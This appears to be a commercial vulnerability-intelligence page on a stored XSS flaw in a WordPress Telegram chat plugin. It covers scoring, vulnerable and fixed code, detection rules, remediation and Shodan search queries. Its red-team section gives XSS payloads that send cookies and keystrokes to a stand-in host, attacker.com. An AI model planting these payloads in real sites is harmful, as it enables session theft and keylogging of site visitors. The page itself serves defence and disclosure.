☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5236

CVE-2025-5236 Cross-Site Scripting in Ninjateam
📅 PUBLISHED: 2025-05-30 07:23 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5236 is a Stored Cross-Site Scripting (XSS) vulnerability in the NinjaTeam Chat for Telegram WordPress plugin, affecting all versions up to and including 1.1. The flaw resides in the username parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits an affected page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and potentially third-party repositories. No official patch has been released, and the vendor (Ninjateam) has not provided a security update. Users should consider removing the plugin or applying a web application firewall (WAF) rule until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but can lead to persistent script injection, affecting all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the username parameter, likely used to display the user's name in chat messages or profile areas. The plugin fails to sanitize input and escape output, allowing an attacker to inject HTML and JavaScript. When a Contributor-level user updates their username to include malicious code, it is stored in the database and rendered without proper encoding on subsequent page loads.

Attack Flow:

  1. Attacker logs in with Contributor-level access.
  2. Attacker navigates to their profile or chat settings and sets the username to a payload like <script>alert('XSS')</script>.
  3. The payload is stored in the WordPress database.
  4. When any user (including admins) visits a page that displays the username, the script executes in their browser.

Root Cause: Lack of wp_kses() or similar sanitization on input, and missing esc_html() or esc_attr() on output.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

// In plugin file, e.g., ninjateam-chat.php
$username = $_POST['username'];
update_user_meta($user_id, 'ninjateam_username', $username);
// Later, when displaying:
echo get_user_meta($user_id, 'ninjateam_username', true);

Patched Code (recommended):

// Sanitize input
$username = sanitize_text_field($_POST['username']);
update_user_meta($user_id, 'ninjateam_username', $username);
// Escape output
echo esc_html(get_user_meta($user_id, 'ninjateam_username', true));

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress installation with NinjaTeam Chat for Telegram plugin (version <= 1.1)
  • Contributor-level account credentials

Steps:

  1. Log in as a Contributor.
  2. Go to Users > Your Profile.
  3. In the "NinjaTeam Chat Username" field, enter:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save profile.
  5. Wait for an admin or other user to visit a page that displays the username (e.g., chat interface).
  6. The script executes, exfiltrating cookies.

Alternative Payload (keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual changes to user meta fields, especially ninjateam_username.
  • Look for HTTP requests containing script tags in the username parameter.
  • Use WAF rules to block <script> tags in user profile fields.

Honeypot:

  • Create a fake Contributor account and monitor its profile for unexpected changes.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ninjateam-chat-for-telegram/ninjateam-chat.php (or similar)
  • Database: User meta key ninjateam_username containing HTML/JavaScript
  • Network: Outbound requests to attacker-controlled domains from WordPress admin pages
  • Logs: WordPress audit logs showing profile updates with suspicious usernames

Detection Engineering

YARA Rule

rule CVE_2025_5236_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in NinjaTeam Chat username field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5236"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"].*['\"]/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via NinjaTeam Chat Username
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8d
status: experimental
description: Detects stored XSS attempts in NinjaTeam Chat for Telegram plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: user_profile_update
        meta_key: ninjateam_username
        meta_value|contains: 
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5236 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"ninjateam_username"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply a WAF rule to block <script> tags in user profile fields.
  3. Review user meta for any existing malicious payloads and remove them.

Long-term Fix:

  • The vendor must release a patched version that sanitizes input with sanitize_text_field() and escapes output with esc_html().
  • Alternatively, replace the plugin with a secure alternative.

Workaround:

  • Restrict Contributor-level users from editing their own profiles via a custom role plugin.
  • Use a security plugin like Wordfence to add input validation.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"NinjaTeam Chat"
http.html:"ninjateam-chat-for-telegram"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5236/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.